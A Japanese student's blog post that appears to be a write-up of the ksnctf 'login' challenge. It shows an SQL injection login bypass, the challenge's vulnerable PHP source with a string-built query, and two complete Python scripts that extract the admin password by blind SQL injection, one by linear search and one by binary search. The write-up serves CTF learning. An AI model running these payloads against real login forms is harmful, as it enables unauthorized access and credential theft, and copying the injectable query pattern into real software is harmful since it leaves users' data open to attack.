強エンジニアになりたい大学生の日記

その日学んだことを日記程度に発信します。

ksnctf(4) SQLインジェクション、ブラインドSQLインジェクション

login 120点

とりあえずSQLインジェクション

' or 1==1 --

をIDに入れてあげると、

Congratulations! It's too easy? Don't worry. The flag is admin's password.

となりうまくいったようだが、Flagはまだ手に入らない。パスワードがFlagになっているらしいので、ブルートフォース(総当たり)でパスワードを一文字ずつ当てていく。これはブラインドSQLインジェクションという技らしい。

解法

まず最初にFLAGの文字数を当てます。

当たってた場合は下のような画面が表示されます。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

当たってなかった場合は下のような画面が表示されます。

First, login as "admin".
Login Failed

ここからわかるように正解の場合と不正解の場合で画面に表示される文字の数が大きく異なっています。よってその文字数を見ることで当たってたか外れていたかを判定することができます。

次にパスワードを当てます。

f:id:burst_000:20200726004232p:plain
参考url http://www.asciitable.com/

ASCIIのテーブルを見てあげると、FLAGに使われるのは48~122であることがわかります。よってこの範囲でブルートフォースしてあげます。

コード

import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

# 文字長総当たり
length = 0
for i in range(1,100):
    sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i)
    param = {"id": sql}
    if len(requests.post(url, param).text) > 1000:
        length = i
        break

# パスワード総当たり
password = ''
for i in range(1, length+1):
    for char in range(48, 123):
        sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) = \'{}\' --".format(i, chr(char))
        param = {'id': sql}
        if len(requests.post(url, param).text) > 1000:
            print(chr(char))
            password += chr(char)
            break

print(password)

おまけ

二分探索を使って早くしようとした

import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

length = 0
for i in range(1,100):
    sql = "' or (SELECT length(pass) FROM user WHERE id = \'admin\') == {} --".format(i)
    param = {"id": sql}
    if len(requests.post(url, param).text) > 1000:
        length = i
        break

password = ''
for i in range(1, length+1):
    l = 48
    r = 123
    while(l+1!=r):
        char = (l+r) // 2
        sql = "' or substr((SELECT pass FROM user WHERE id = \'admin\'), {}, 1) < \'{}\' --".format(i, chr(char))
        param = {'id': sql}
        if len(requests.post(url, param).text) > 1000:
            r = char
        else:
            l = char
    print(chr(char))
    password += chr(char)

print(password)

わずか100回のループがlog(100)回になったところで人間に感じられるような変化はなかった(あたりまえ)。 遅いのはリクエストの間隔ですよね、、。そんな爆速でリクエストを送ったらDos攻撃になってしまいます(笑) 今回はだめでしたが、こういうアルゴリズムが生きる日が来ることを信じて精進してまいります。

ksnctf writeup - Qiitaこの記事を参考にさせていただきました。